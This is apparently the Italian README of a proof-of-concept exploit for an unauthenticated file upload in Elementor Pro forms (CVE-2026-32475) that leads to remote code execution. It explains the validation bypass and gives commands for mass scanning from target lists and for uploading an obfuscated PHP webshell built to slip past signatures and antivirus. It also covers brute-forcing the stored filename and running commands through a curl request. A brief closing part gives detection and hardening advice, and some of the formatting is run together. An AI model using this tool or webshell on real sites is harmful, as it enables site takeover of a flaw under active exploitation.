
Proof-of-concept exploit per CVE-2026-32475, un upload arbitrario di file non autenticato in Elementor Pro che porta all'esecuzione remota di codice. Include scansione di massa, conferma del nome file tramite forza bruta e una webshell offuscata integrata per test autorizzati.
Caricamento Arbitrario di File Pre-Autenticazione in Elementor Pro che Porta a Esecuzione di Codice Remoto
Proof-of-concept per CVE-2026-32475, un caricamento arbitrario di file non autenticato e critico nel modulo Forms di Elementor Pro che termina in esecuzione di codice remoto. Il PoC invia due parti di file per lo stesso campo di upload — una prima voce vuota (nome file vuoto, che attiva UPLOAD_ERR_NO_FILE) seguita dal payload. Il loop validation() esce anticipatamente sulla voce vuota tramite return mentre process_field() la salta tramite continue, quindi il payload non viene mai controllato per l'estensione e finisce in una directory pubblica con estensione .php. I PoC che testano il comportamento corretto, la stessa richiesta dopo la patch, devono essere bloccati dal controllo dell'estensione.
Nota: Questo PoC è solo per test di sicurezza autorizzati e ricerca. CVE-2026-32475 è attivamente sfruttato in natura, e Wordfence ha bloccato oltre 190.000 tentativi dalla divulgazione del 19 agosto. Sei responsabile di rispettare tutte le leggi applicabili e di ottenere autorizzazione scritta prima di testare qualsiasi sistema.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requestsInstalla le dipendenze:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell carica una webshell PHP offuscata minima (parole chiave costruite a runtime tramite
chr()/implode/strrev, parametro comando vapcom) così che semplici firme statiche e
scansioni AV in tempo reale su disco non la rilevino. Il nome file memorizzato è comunque casuale
(<uniqid()>.php); combina con --brute, che sonda ?vapcom=echo <marker> e riporta
exec confirmed: <name>.php. Uso manuale una volta individuato:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
| Argomento | Descrizione | Predefinito |
|---|---|---|
-t, --target | URL del target singolo | - |
-T, --targets | File con URL dei target, uno per riga | - |
-o, --output | File dei risultati (CSV: target, status, form_id, post_id, field, note) | - |
--timeout | Timeout della richiesta in secondi | 15 |
--post-id | Sovrascrive il post_id rilevato | auto |
--form-id | Sovrascrive il form_id rilevato (id widget Elementor) | auto |
--field | Sovrascrive il custom_id del campo upload rilevato | auto |
--payload | Percorso di un file payload personalizzato (predefinito: file token PHP benigno) | token benigno |
--shell | Carica la webshell PHP offuscata integrata (<?php ... system($_GET) ?> costruita a runtime, parametro vapcom) invece del token | off |
--brute | Dopo un upload riuscito, forza bruta sul nome file uniqid() per confermare l'esecuzione del codice | off |
--seconds-window | Secondi prima/dopo l'header Date del server per la forza bruta | 5 |
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
response : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] done: 1/1 vulnerable
Un success:true sulla risposta AJAX significa che il payload è stato accettato senza essere controllato per l'estensione. Il passaggio 4 con --brute (un 200 sul file .php ipotizzato contenente il marker) conferma l'esecuzione PHP lato server — cioè piena RCE.
Stati dei risultati: vulnerable | patched | unknown | error
vulnerable — il server web ha restituito "success":true; il payload ha saltato il controllo dell'estensionepatched — l'upload è stato rifiutato con un errore di tipo file (il controllo dell'estensione è stato eseguito)unknown — HTTP riuscito ma la risposta non era success:true (ID errati o stato inatteso)error — errore di richiesta/analisi (timeout, non-200, modulo non trovato)<uniqid()>.<estensione_attaccante> — il basename inviato viene scartato, quindi i trucchi con doppia estensione/byte nulli sono irrilevanti; conta solo il controllo dell'estensione, ed è quello che si rompe..htaccess in wp-content/uploads/elementor/forms/ che imposta Content-Disposition: attachment su tutti i file. Questo non ferma l'esecuzione — PHP viene comunque eseguito lato server e la risposta scaricata è l'output eseguito. Per rendere una shell visibile nel browser in laboratorio, disabilita quel .htaccess; nel mondo reale trattalo come puramente cosmetico e affidati al blocco PHP a livello di server.uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), quindi il nome deriva dal tempo (secondi Unix, 32 bit bassi, + microsecondi). Il passaggio di brute force racchiude il secondo osservato nell'header Date della risposta di invio e, per i file .php, richiede ?vapcom=echo <marker> (o ?c= per il file token/--payload) così che una risposta con marker sia una reale esecuzione PHP lato server, non solo una lettura del file. Il caso peggiore è ~1 milione di tentativi di microsecondi al secondo, quindi restringi --seconds-window per mantenere brevi le esecuzioni.# File PHP che non dovrebbero esistere nella directory uploads
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta sotto la directory forms come prova di compromissione.GET sotto /wp-content/uploads/elementor/forms/ e POST che trasportano elementor_pro_forms_send_form.mu-plugins, file core/tema modificati ed eventi WP-Cron inattesi; preferisci ripristinare un backup noto buono piuttosto che pulire sul posto.location nginx o <FilesMatch> Apache). Questa è la soluzione duratura e degrada questo e futuri bug di upload a "spazio disco sprecato".elementor_pro_forms_send_form.